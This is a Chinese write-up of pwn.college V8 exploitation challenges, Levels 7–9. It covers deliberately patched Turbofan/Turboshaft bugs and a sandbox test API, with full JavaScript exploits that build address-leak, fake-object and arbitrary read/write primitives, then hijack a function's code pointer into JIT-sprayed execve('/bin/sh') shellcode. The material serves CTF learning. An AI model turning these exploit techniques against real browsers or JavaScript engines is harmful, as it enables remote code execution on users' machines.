Pwncollege V8 Exploitation (下) 完结散花

Level7

环境搭建

bash 复制代码
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
source ~/.bashrc
gclient sync -D
git apply < ../Level7/patch
./tools/dev/v8gen.py x64.release
subl ./out.gn/x64.release/args.gn  #注意要修改参数
python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j 5

修改参数如下:

bash 复制代码
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false

分析

这里的patch是对于turbofan的,可以看到目录是/src/compiler/turboshaft/,优化阶段是machine-lowering

Turbofan 是 V8 JavaScript 引擎中的优化编译器,machine-lowering是指将高级、机器无关的中间表示(IR)转换为特定于目标机器的低级指令的过程,这是编译器优化管道中的关键步骤

这里把对map为空的时候的检测给注释掉了

注释掉了 maps 比较失败时的 deoptimize 调用.

原本当对象类型(map)检查失败时,V8 会触发去优化(deoptimize)回解释器执行,现在是直接禁用类型检查失败时的安全机制

总的来看,对于一段代码经过优化后,将不会检查·map类型。换句话说,这段代码被优化之后,我可以对其操作过的对象的map任意修改。

漏洞利用

假设有如下函数:

js 复制代码
function opt(arr, i) {
    ...
    arr[0] = 1.1;
    if(...) {
        change_arr();
    }
    return arr[0];
}

如果参数arr多次为double array,并且change_arr()几乎不调用或不改变arr。那么经过Turbofan优化后,会自然的假设arr为一个double array并返回0号元素,且return arr[0]一直是double类型。

此时,如果change_arr()函数突然更改了arr的形状为PACKED ELEMENTS,如下

js 复制代码
...
function change() {
    if(change_flag) array[1] = obj; // PACKED_DOUBLE_ELEMENTS --> PACKED_ELEMENTS
}

change_flag = false;
...
/*
Turbofan 优化opt, 此时change不会改变arr形状
*/
...
change_flag = true; 
array = [1.1, 2.2];
let something = opt(array, 0);

则当return arr[0]Turbofan如果无法正常完成Deoptimize,则会导致函数opt类型混淆,将obj的地址作为浮点数返回。

所以我们可以构造如下 GetAddressOf

js 复制代码
function GetAddressOf(obj){
    var trigger_flag;
    var arr;

    function transition(){
        if(trigger_flag){
            arr[1] = obj;
            // %DebugPrint(arr);
            // %SystemBreak();
        }
    }

    function opt(arr,i){
        for(let i=0;i<0x10000;i++);    //通过增加opt函数的运行时间,来提高使用Turbofan优化的概率
        arr[0] = 1.1;
        if(trigger_flag || i < 1){
            transition(); //在正式利用前调用少量次数为其生成字节码,并防止被内联
        }
        return arr[0];	//在调用transition()前每次返回的都是double类型的数据,会让优化器默认认为返回的一直是double类型
        				//在改变arr[1] = obj后PACKED_DOUBLE_ELEMENTS已经变成PACKED_ELEMENTS,但return还是认为是个						//double类型,从而以double形式拿到地址
    }

    trigger_flag = false;
    for(let i = 0;i<0x1000;i++){
        arr = [1.1,2.2,3.3];    //创建PACKED_DOUBLE_ELEMENTS数组
        opt(arr,i);			//调用0x1000次opt函数
    }

    trigger_flag = true;
    arr = [1.1,2.2];
    f64[0] = opt(arr,0);

    return u32[1];
}

GetFakeObject()如下:

js 复制代码
function GetFakeObject(addr) {
    let trigger_flag;
    let arr;

    function transition() {
        if (trigger_flag)
            arr[1] = {};
    }

    function opt(arr, i) {
        for (let i = 0; i < 1000000; i++); //通过增加opt函数的运行时间,来提高使用Turbofan优化的概率,
        arr[0] = 1.1;
        if (trigger_flag || i<1) 
            transition();//在正式利用前调用少量次数为其生成字节码,并防止被内联
        arr[0] = u2f(addr, 0);//在调用transition()前一直是写double类型的数据,所以在调用transition()后还是会以doule								//类型来写入
    }

    trigger_flag = false;
    for (let i = 0; i < 1000; i++) {
        arr = [1.1, 2.2];
        opt(arr, i);		//调用0x1000次opt函数
    }
    trigger_flag = true;
    arr = [1.1, 2.2];
    opt(arr, 0);	//PACKED_DOUBLE_ELEMENTS变成PACKED_ELEMENTS,后续就能拿到obj
    return arr[0];	//返回"伪造"的对象
}

EXP

js 复制代码
var buf = new ArrayBuffer(8);       //分配8字节内存
var f64 = new Float64Array(buf,0,1);    //1个64位浮点数
var u32 = new Uint32Array(buf,0,2);     //2个32位无符号整数
var i32 = new Int32Array(buf,0,2);      //2个32位有符号整数
var u64 = new BigUint64Array(buf,0,1);  //1个64位大整数

function hex(str){
    return str.toString(16).padStart(16,0);
}

function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}

function unptr(v){
    return v & 0xfffffffen;
}

function ptr(v){
    return v | 1;
}

function u32_to_f64(low,high){      //combined (two 4 bytes) word to float
    u32[0] = low;
    u32[1] = high;
    return f64[0];
}

function f64_to_u64(v){     //float to bigint
    f64[0] = v;
    return u64[0];
}

function u64_to_f64(v){     //bigint to float
    u64[0] = v;
    return f64[0];
}

function u64_to_u32_0(v) {
    u64[0] = v;
    return u32[0];
}

function u64_to_u32_1(v) {
    u64[0] = v;
    return u32[1];
}



function shellcode() {// Promote to ensure not GC during training
    // JIT spray machine code form of `execve("/bin/sh", NULL, NULL)" 
    return [
    1.9710255989868046e-246,
    1.9711456320011228e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
    ];
}

for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation

function GetAddressOf(obj){
    let trigger_flag;
    let arr;

    function transition(){
        if(trigger_flag){
            arr[1] = obj;
        }
    }

    function opt(arr,i){
        for(let i=0;i<0x100000;i++);    //通过增加opt函数的运行时间,来提高使用Turbofan优化的概率
        arr[0] = 1.1;
        if(trigger_flag || i < 1){
            transition(); //在正式利用前调用少量次数为其生成字节码,并防止被内联
        }
        return arr[0];
    }

    trigger_flag = false;
    for(let i = 0;i<1000;i++){
        arr = [1.1,2.2,3.3];    //创建PACKED_DOUBLE_ELEMENTS数组
        opt(arr,i);
    }

    trigger_flag = true;
    arr = [1.1,2.2];
    f64[0] = opt(arr,0);

    return u32[1];
}

let shellcode_addr = GetAddressOf(shellcode);
logg("shellcode_addr",shellcode_addr);

function GetFakeObj(addr){
    let trigger_flag;
    let arr;

    function transition(){
        if(trigger_flag){
            arr[1] = {};
        }
    }

    function opt(arr,i){
        for(let i = 0;i<0x100000;i++);
        arr[0] = 1.1;
        if(trigger_flag || i<1){
            transition();
        }
        arr[0] = u32_to_f64(addr,0);
    }

    trigger_flag = false;
    for(let i = 0;i<1000;i++){
        arr = [1.1,2.2];
        opt(arr,i);
    }
    trigger_flag = true;
    arr = [1.1,2.2];
    opt(arr,0);
    return arr[0];
}

var double_array_map_addr = 0x1cb7f9;	//fake_arr 的map

let fake_arr = [u32_to_f64(double_array_map_addr,0x0),u32_to_f64(0,0x1000)];
let fake_arr_addr = GetAddressOf(fake_arr)+0x54;
logg("fake_arr_addr",fake_arr_addr);

let fake_obj = GetFakeObj(fake_arr_addr);

function AAR(addr){
    fake_arr[1] = u32_to_f64(addr-8,0x1000);
    return f64_to_u64(fake_obj[0]);
}

function AAW(addr,val){
    fake_arr[1] = u32_to_f64(addr-8,0x1000);
    fake_obj[0] = u64_to_f64(val);
}

var code_addr = u64_to_u32_0(AAR(shellcode_addr+0xc));
var instruction_start_addr = AAR(code_addr+0x14);
var shellcode_start = instruction_start_addr + 0x6bn;
AAW(Number(code_addr+0x14),shellcode_start);
logg("code_addr",code_addr);
logg("instruction_start_addr",instruction_start_addr);
logg("shellcode_start",shellcode_start);
shellcode();

    

概率触发多试几次

Level8

环境搭建

bash 复制代码
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
source ~/.bashrc
gclient sync -D
git apply < ../Level8/patch
./tools/dev/v8gen.py x64.release
subl ./out.gn/x64.release/args.gn  #注意要修改参数
python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j 5

修改参数如下:

bash 复制代码
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false

分析

从补丁内容可以看出,主要涉及 V8 在进行Simplified Lowering时对数组越界检查的处理逻辑,具体来说,这段补丁主要放宽了对索引范围的检测条件。

这里 index_type.Max() < length_type.Min() 时,就判定**"索引一定落在 [0, length) 之内",进而认为 「这个数组越界检查是多余的,可以省略」,变成 index_type.Min() < length_type.Min()后,意味着 「需要整段区间都在数组范围内」变成了「只要索引最小值小于 length 的最小值就行」**有数组越界的风险。

在下方删去了if (v8_flags.turbo_typer_hardening) 替换为if (false /*v8_flags.turbo_typer_hardening*/) ,这就意味着会直接执行到DeferReplacement(node, NodeProperties::GetValueInput(node, 0)); ,而这个语句的作用就是直接消除边界检查 ,那么意思就是说,一段执行过索引数组操作的代码,被turbofan优化过后,数组就不存在边界检查,也就是任意的oob

漏洞利用

假设有如下代码:

js 复制代码
function opt(i){
    let array = [1.1];
    //%DebugPrint(array);
    //%SystemBreak();
    i = i&0xff;
    f64[0] = array[i];
    u32[1] = 0x12345678;
    array[i] = f64[0];
    return array;  //这里return array 而不return array[1]是为了防止代码优化后越界访问会直接返回0x12345678(我们设置的值)

}
  • let array = [1.1]; 则array的len属于 [1 , 1)
  • i = i & 0xff; 则i的属于为 [0 , 255]
  • 此时满足条件:(index_type.Min() >= 0.0 &&index_type.Max() < length_type.Min())
  • 因此优化阶段,会省略掉对index的范围检测

同样使用%OptimizeFunctionOnNextCall优化函数:

js 复制代码
%OptimizeFunctionOnNextCall(opt);
opt(0);

%OptimizeFunctionOnNextCall(opt);
let last = opt(1);

%DebugPrint(opt);
%DebugPrint(last);
%SystemBreak();

在执行opt(0)arr结构如下:

然后再执行opt(1)时会导致elements的地址比该数组的地址低,导致数组越界就会读到该arraymapproperties

执行 array[i] = f64[0];

执行 array[i] = f64[0];后,可以看到array[1]恰好就是array对应的mapproperties域,同理我们也可以尝试修改elementslen域:

有了上面的基础可以很容易的写出地址泄露的函数GetAddressOf(),AAR,AAW

EXP

js 复制代码
var buf = new ArrayBuffer(8);       //分配8字节内存
var f64 = new Float64Array(buf,0,1);    //1个64位浮点数
var u32 = new Uint32Array(buf,0,2);     //2个32位无符号整数
var i32 = new Int32Array(buf,0,2);      //2个32位有符号整数
var u64 = new BigUint64Array(buf,0,1);  //1个64位大整数

function hex(str){
    return str.toString(16).padStart(16,0);
}

function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}

function unptr(v){
    return v & 0xfffffffen;
}

function ptr(v){
    return v | 1;
}

function u32_to_f64(low,high){      //combined (two 4 bytes) word to float
    u32[0] = low;
    u32[1] = high;
    return f64[0];
}

function f64_to_u64(v){     //float to bigint
    f64[0] = v;
    return u64[0];
}

function u64_to_f64(v){     //bigint to float
    u64[0] = v;
    return f64[0];
}

function u64_to_u32_0(v) {
    u64[0] = v;
    return u32[0];
}

function u64_to_u32_1(v) {
    u64[0] = v;
    return u32[1];
}



function shellcode() {// Promote to ensure not GC during training
    // JIT spray machine code form of `execve("/bin/sh", NULL, NULL)" 
    return [
    1.9710255989868046e-246,
    1.9711456320011228e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
    ];
}

for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation

function GetAddressOf(target_obj){

    function opt(i,target_obj){
        let array = [1.1];
        let obj = [target_obj];
        // %DebugPrint(array);
        // %DebugPrint(obj);
        // %DebugPrint(target_obj);
        // %SystemBreak();

        i = i & 0xff;
        f64[0] = array[i];
        u32[1] = 0x001cb7f9;
        array[i] = f64[0];
        return [array,obj,target_obj];
    }

    for(let i = 0; i<1000000; i++)
        opt(0 , target_obj);

    let last = opt(4,target_obj);   //索引4刚好到obj的map位置,可以伪造map
    // %DebugPrint(last);
    // %SystemBreak();
    let obj_tmp = last[1];
    f64[0] = obj_tmp[0];
    return u32[0];
}

let shellcode_addr = GetAddressOf(shellcode);
logg("shellcode_addr",shellcode_addr);

function AAR(addr){

    function opt(i,addr){
        for(let i=0; i < 1000000; i++);
        let array = [1.1];
        i = i & 0xff;
        f64[0] = array[i];
        u32[0] = addr-0x8;
        array[i] = f64[0];
        return array;
    }
    for(let i = 0; i<0x1000; i++)
        opt(0 , addr);

    let arr = opt(2,addr);
    // %DebugPrint(arr);
    // %SystemBreak();
    return f64_to_u64(arr[0]);
}

function AAW(addr,val){

    function opt(i,addr){
        for(let i=0; i < 1000000; i++);
        let array = [1.1];
        i = i & 0xff;
        f64[0] = array[i];
        u32[0] = addr-0x8;
        array[i] = f64[0];
        return array;
    }
    for(let i = 0; i<0x1000; i++)
        opt(0 , addr);

    let arr = opt(2,addr);
    // %DebugPrint(arr);
    // %SystemBreak();
    arr[0] = u64_to_f64(val);
    return f64_to_u64(arr[0]);
}


let code_addr = u64_to_u32_0(AAR(shellcode_addr+0xc));
var instruction_start_addr = AAR(code_addr+0x14);
var shellcode_start = instruction_start_addr + 0x6bn;
logg("code_addr",code_addr)
logg("instruction_start_addr",instruction_start_addr);
logg("shellcode_start",shellcode_start);
AAW(Number(code_addr+0x14),shellcode_start);
shellcode();

Level9

环境搭建

bash 复制代码
git reset --hard f5e412a1cd82fb606b79a587f1c4bda7f9445701
source ~/.bashrc
gclient sync -D
git apply < ../Level9/patch
./tools/dev/v8gen.py x64.release
subl ./out.gn/x64.release/args.gn  #注意要修改参数
python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j 5

修改参数如下:

bash 复制代码
dcheck_always_on = false
is_debug = false
is_component_build = false
target_cpu = "x64"
v8_enable_object_print = true
v8_enable_disassembler = true
v8_enable_backtrace = true

分析

可以看到开启了沙箱保护

沙箱化指针 (Sandboxed Pointers):将 V8 堆对象指针转换为沙箱内的相对偏移

如:

js 复制代码
// 传统漏洞:通过类型混淆获得对象地址
let obj_addr = leak_object();
// 可以直接读写任意地址
arbitrary_write(obj_addr + 0x30, shellcode);

// 沙箱后:获得的只是沙箱内偏移
let sandbox_offset = leak_object();  // 比如 0x1000
// 只能访问 sandbox_base + 0x1000 范围内的内存

外部指针沙箱 (External Pointers):保护 V8 到外部 C++ 对象的指针

js 复制代码
// 传统攻击:通过 ArrayBuffer 的 backing_store 指针实现任意读写
var buffer = new ArrayBuffer(100);
// 覆盖 backing_store 指针指向任意地址

// 沙箱后:backing_store 被沙箱化
// 只能指向预先分配的外部内存区域

开启了这些导致传统的方法基本失效。

继续分析,这道题目开启了如下所示的四个方法

这里的部分能为我们提供一个大致的了解:

创建了一个全局的对象Sandbox

  • 其中包含几个方法,看名字也能大致知道含义:
  • SandboxGetByteLength,接收参数数量0,返回Sandbox大小
  • SandboxMemoryView,接收2个参数,用于返回指定Sandbox区域的mem对象
  • SandboxGetAddressOf,接收1个参数,用于获取指定对象的地址
  • SandboxGetSizeOf,接收1个参数,用于获取对象大小

下面看看具体相关实现.

Sandbox.byteLength

注释里是使用方法,这里返回了sandbox的大小,这里调用GetProcessWideSandbox()->size()直接获取Sandbox的大小范围,使用方法如下:

js 复制代码
let sandbox_len = Sandbox.byteLength;
console.log("sandbox_len-->0x" + hex(sandbox_len));

Sandbox.MemoryView(args)

首先必须是new Sandbox.MemoryView(offset, size)调用,这里会接收两个参数,并把这两个参数转换成整数。

然后获取全局沙箱实例, 确保沙箱大小在安全范围内。

然后有三重边界检查:

  1. offset 不能超过沙箱大小
  2. size 不能超过沙箱大小
  3. offst + size 不能超过沙箱大小(防止整数溢出)

然后就是创建 BackingStore:包装已存在的内存区域

BackingStore::WrapAllocation 的作用:

js 复制代码
// 这个函数包装已分配的内存,而不是分配新内存
// 参数说明:
// 1. sandbox->base() + offset:沙箱内的真实内存地址
// 2. size:内存大小
// 3. EmptyDeleter:删除器,因为内存属于沙箱,不需要释放
// 4. nullptr:没有自定义数据
// 5. kNotShared:非共享内存

最后就是使用 BackingStore 创建 ArrayBuffer.

总的来说Sandbox.MemoryView(args)就相当于给了我们任意读写的机会

Sandbox.getAddressOf(object)

这个就是获取obj的地址

Sandbox.getSizeOf(object)

这个就是获取obj的size

漏洞利用

sandbox主要是为了防止内部的内存问题影响到外部对象而设计的。这种方案在一定程序上限制了类似篡改WebAssembly创建rwx的空间这样的攻击手法,使得影响范围尽量局限在沙盒内部。绕过方式,便是我们之前一直用到的,JIT优化字节码,构造立即数shellcode

简单来说,经过JIT优化后,function对象内会有一个code指针,指向优化后的可以执行字节码。

假设有如下代码:

js 复制代码
function shellcode() {// Promote to ensure not GC during training
    // JIT spray machine code form of `execve("/bin/sh", NULL, NULL)" 
    return [
    1.0,
    1.9710255989868046e-246,
    1.9711456320011228e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
    ];
}

for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation

%DebugPrint(shellcode);
%SystemBreak();
shellcode();

调试输出如下:

js 复制代码
DebugPrint: 0x2191081d2061: [Function] in OldSpace
 - map: 0x219108202299 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x2191081c2861 <JSFunction (sfi = 0x219108146275)>
 - elements: 0x219108002249 <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: 
 - initial_map: 
 - shared_info: 0x2191081d1bf5 <SharedFunctionInfo shellcode>
 - name: 0x2191081d18f5 <String[9]: #shellcode>
 - builtin: InterpreterEntryTrampoline
 - formal_parameter_count: 0
 - kind: NormalFunction
 - context: 0x2191081c2331 <NativeContext[263]>
 - code: 0x219100004e81 <Code BUILTIN InterpreterEntryTrampoline>
 - interpreted
 - bytecode: 0x2191081d2149 <BytecodeArray[5]>
 - source code: () {// Promote to ensure not GC during training
    // JIT spray machine code form of `execve("/bin/sh", NULL, NULL)" 
    return [
    1.0,
    1.9710255989868046e-246,
    1.9711456320011228e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
    ];
}
 - properties: 0x219108002249 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x219108004cc9: [String] in ReadOnlySpace: #length: 0x219108144449 <AccessorInfo> (const accessor descriptor), location: descriptor
    0x219108004f11: [String] in ReadOnlySpace: #name: 0x219108144405 <AccessorInfo> (const accessor descriptor), location: descriptor
    0x2191080040c1: [String] in ReadOnlySpace: #arguments: 0x21910814437d <AccessorInfo> (const accessor descriptor), location: descriptor
    0x219108004305: [String] in ReadOnlySpace: #caller: 0x2191081443c1 <AccessorInfo> (const accessor descriptor), location: descriptor
    0x2191080051c5: [String] in ReadOnlySpace: #prototype: 0x21910814448d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - feedback vector: 0x2191081d2181: [FeedbackVector] in OldSpace
 - map: 0x21910800272d <Map>
 - length: 1
 - shared function info: 0x2191081d1bf5 <SharedFunctionInfo shellcode>
 - no optimized code
 - optimization marker: OptimizationMarker::kNone
 - optimization tier: OptimizationTier::kNone
 - invocation count: 9992
 - profiler ticks: 0
 - closure feedback cell array: 0x2191080033e9: [ClosureFeedbackCellArray] in ReadOnlySpace
 - map: 0x219108002971 <Map>
 - length: 0

 - slot #0 Literal  {
     [0]: 0x2191081d223d <AllocationSite>
  }
0x219108202299: [Map]
 - type: JS_FUNCTION_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - callable
 - constructor
 - has_prototype_slot
 - back pointer: 0x2191080023d1 <undefined>
 - prototype_validity cell: 0x219108144515 <Cell value= 1>
 - instance descriptors (own) #5: 0x2191081c2911 <DescriptorArray[5]>
 - prototype: 0x2191081c2861 <JSFunction (sfi = 0x219108146275)>
 - constructor: 0x2191081c28dd <JSFunction Function (sfi = 0x219108146315)>
 - dependent code: 0x2191080021d1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

查看一下code字段

我们在 0x219107e8c700处下一个断点

然后只需要修改code 字段,就可以劫持控制流,这里修改成0x41414141gdb里执行 set {int}0x2191081d2078=0x4141414141

执行发现此时的RCX=R14+0x41414141,意味着我们可以劫持rip具体值,通过修改code字段

注意这里的0x2191081d2078 = 0x2191081d2061+0x17因为code字段0x17偏移处。

然后继续执行可以发现会崩溃

查看发生崩溃的汇编代码,我们可以得出结论,如果dword ptr [rcx + 0x1b] & 0x20000000为零,则rip将被设置为rcx + 0x3f,这是一个相对容易满足的条件.

需要注意的是JIT生成的字节码区域没有可写权限,要满足[rcx + 0x1b] & 0x20000000 == 0时,[rcx + 0x1b]往往是字节码的一部分区域,这些汇编命令的16进制值不太可能直接满足这个条件。因此需要一定的技巧,比如在shellcode浮点数组开头增加一个1.0,大概率就能满足条件,所以shellcode可以为:

js 复制代码
function shellcode() {// Promote to ensure not GC during training
    // JIT spray machine code form of `execve("/bin/sh", NULL, NULL)" 
    return [
    1.0,			//本地打的话 1.0基本不会成功要换一下
    1.9710255989868046e-246,
    1.9711456320011228e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
    ];
}

然后后面就是修改code为我们shellcode位于的位置-0x3f

EXP

js 复制代码
var buf = new ArrayBuffer(8);       //分配8字节内存
var f64 = new Float64Array(buf,0,1);    //1个64位浮点数
var u32 = new Uint32Array(buf,0,2);     //2个32位无符号整数
var i32 = new Int32Array(buf,0,2);      //2个32位有符号整数
var u64 = new BigUint64Array(buf,0,1);  //1个64位大整数

function hex(str){
    return str.toString(16).padStart(16,0);
}

function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}

function unptr(v){
    return v & 0xfffffffe;
}

function ptr(v){
    return v | 1;
}

function u32_to_f64(low,high){      //combined (two 4 bytes) word to float
    u32[0] = low;
    u32[1] = high;
    return f64[0];
}

function f64_to_u64(v){     //float to bigint
    f64[0] = v;
    return u64[0];
}

function u64_to_f64(v){     //bigint to float
    u64[0] = v;
    return f64[0];
}

function u64_to_u32_0(v) {
    u64[0] = v;
    return u32[0];
}

function u64_to_u32_1(v) {
    u64[0] = v;
    return u32[1];
}



function shellcode() {// Promote to ensure not GC during training
    // JIT spray machine code form of `execve("/bin/sh", NULL, NULL)" 
    return [
    -6.82852703445671073954919833565E-229,
    1.9710255989868046e-246,
    1.9711456320011228e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
    ];
}

for (let i = 0; i < 100000; i++) shellcode(); // Trigger MAGLEV compilation

function hijack(){};

let sandbox = new Sandbox.MemoryView(0,Sandbox.byteLength); //创建覆盖整个沙盒的MemoryView
let sandbox_i32v = new Uint32Array(sandbox,0,0x4000_0000);  //Uint32Array视图

function GetAddressOf(obj){
    return Sandbox.getAddressOf(obj);
}

function AAR(addr){
    return sandbox_i32v[addr>>2]; //地址÷4拿到索引,根据索引在sandbox_i32v中取值
}

function AAW(addr,val){
    sandbox_i32v[addr>>2] = val;
}

let shellcode_addr = GetAddressOf(shellcode);
logg("shellcode_addr",shellcode_addr);

let code_addr = unptr(AAR(shellcode_addr+0x18));
console.log("[*] code_addr: 0x"+hex(code_addr));

let shellcode_gadget_addr = code_addr + 0xb5;
logg("shellcode_gadget_addr",shellcode_gadget_addr)

let hijack_addr = GetAddressOf(hijack);
logg("hijack_addr",hijack_addr)

AAW(hijack_addr+0x18,shellcode_gadget_addr-0x3f);
hijack();

这里的 let shellcode_gadget_addr = code_addr + 0xb5;的确定如下:

job code看一下 ,可以发现shellcode在如下位置,第一个REX.W ......-6.82852703445671073954919833565E-229

第二个REX.W .....才是shellcode的位置

然后就是计算偏移 code的地址是 0x0a3400044ec1

所以是 :0xa3400044f75-0x0a3400044ec0 = 0xb5

运行图:

总结

磨磨蹭蹭的,太懒了历时 一个月 也是终于完成了,总的来说 这些题目不是很难,大多数时候不懂的调试一下基本就能理解了。

v8系列先浅浅入门一下,后面就是主要看看IOT了,毕竟很久之前就想学了

相关推荐
梧六柒2 小时前
[HUBUCTF 2022 新生赛]messy_traffic WP
网络安全
梧六柒2 小时前
[闽盾杯 2021]日志分析 WP
网络安全
Neolnfra2 小时前
当“同时发生”成为攻击武器
web安全·网络安全·并发·高并发产生的漏洞
网安INF3 小时前
防火墙的分类与部署详解
服务器·安全·网络安全·防火墙
Whoami!4 小时前
❾⁄₆ ⟦ OSCP ⬖ 研记 ⟧ 防病毒软件规避 ➱ 内存中的逃避技术(下)
网络安全·信息安全·进程空洞化·内存逃避·内联挂钩
网安_秋刀鱼4 小时前
【java安全】URL链拆解
java·开发语言·安全·web安全·网络安全
竹等寒18 小时前
TryHackMe-SOC-Section 1:蓝队介绍
安全·网络安全
Whoami!20 小时前
❾⁄₅ ⟦ OSCP ⬖ 研记 ⟧ 防病毒软件规避 ➱ 内存中的逃避技术(中)
网络安全·信息安全·dll注入
Pith_1 天前
React2Shell漏洞复现(CVE-2025-55182)
react.js·网络安全